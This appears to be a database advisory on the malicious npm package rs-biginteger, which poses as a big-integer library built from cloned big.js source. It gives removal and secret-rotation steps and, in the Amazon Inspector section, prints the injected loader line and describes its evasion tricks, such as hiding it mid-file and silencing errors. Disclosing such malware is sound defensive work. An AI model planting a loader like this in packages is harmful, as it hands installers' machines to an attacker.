rs-biginteger (npm) · Malicious Code
Affects rs-bigintegerSource GCVE Database
Malicious package : remove rs-biginteger and rotate any secrets on hosts that installed it.
Data as of 11 Jul 2026, 09:43 UTC
Malicious package
Published to npm · OSV MAL-2026-6675
What to do
Remove rs-biginteger from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmrs-biginteger | Affected– | Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (796cb1ee4c8398963dcc192d2fc9b425866f40f7a99b467cba1d160234508617) Package presents itself as a big-integer arithmetic library and ships the verbatim big.js v7.0.1 source plus its README. Injected between the `P.minus` and `P.mod` method definitions in both big.js and big.mjs is a loader: `try { const doc = require("ts-lint-builders"); doc.from_str().then(...) } catch (error) {}`. On every `require('rs-biginteger')` / ESM import, the module top-level resolves `ts-lint-builders` and invokes its `from_str()` function, executing third-party code chosen by this author at load time. The package's declared dependency is `ts-lint-builders-v2.1@2.1.0` — a name mismatch with the require target, indicating the attacker controls the resolution path into the installer's dependency graph. The empty try/catch silently swallows any failure, concealing the behavior from casual inspection. The loader's placement mid-file inside cloned legitimate source, the cover-story package name impersonating big.js/big-integer, the duplicated payload in both CommonJS and ESM entry points, and the silent error swallowing are deliberate evasion patterns. Installers expecting a pure-math library instead load and execute arbitrary attacker-chosen code on every import. ## Source: ghsa-malware (c4c6d1869f82f8162a8219a520ad9e885e55e925ee006a503f657083120c78ee) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.